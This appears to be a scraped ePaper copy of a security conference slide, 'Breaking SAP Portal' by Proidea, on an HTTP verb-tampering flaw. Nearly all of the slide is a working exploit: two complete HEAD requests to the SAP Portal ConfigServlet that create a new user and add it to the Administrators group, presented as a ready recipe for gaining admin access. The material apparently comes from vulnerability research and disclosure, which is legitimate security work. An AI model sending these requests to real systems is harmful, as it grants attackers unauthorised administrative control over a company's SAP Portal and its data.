Breaking SAP Portal - Proidea
Breaking SAP Portal - Proidea
Breaking SAP Portal - Proidea
Create successful ePaper yourself
Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.
Verb Tampering<br />
Need Admin account in <strong>SAP</strong> <strong>Portal</strong>?<br />
Just send two HEAD requests<br />
• Create new user CONF:idence<br />
HEAD /ctc/ConfigServlet?param=com.sap.ctc.util.UserConfig;CREATEUSER;USERNAME=CONF,PASSWORD=idence<br />
• Add user CONF to group Administrators<br />
HEAD /ctc/ConfigServlet?param=com.sap.ctc.util.UserConfig;ADD_USER_TO_GROUP;USERNAME=CONF,GROUPNAME=Administrators<br />
Works when UME uses JAVA database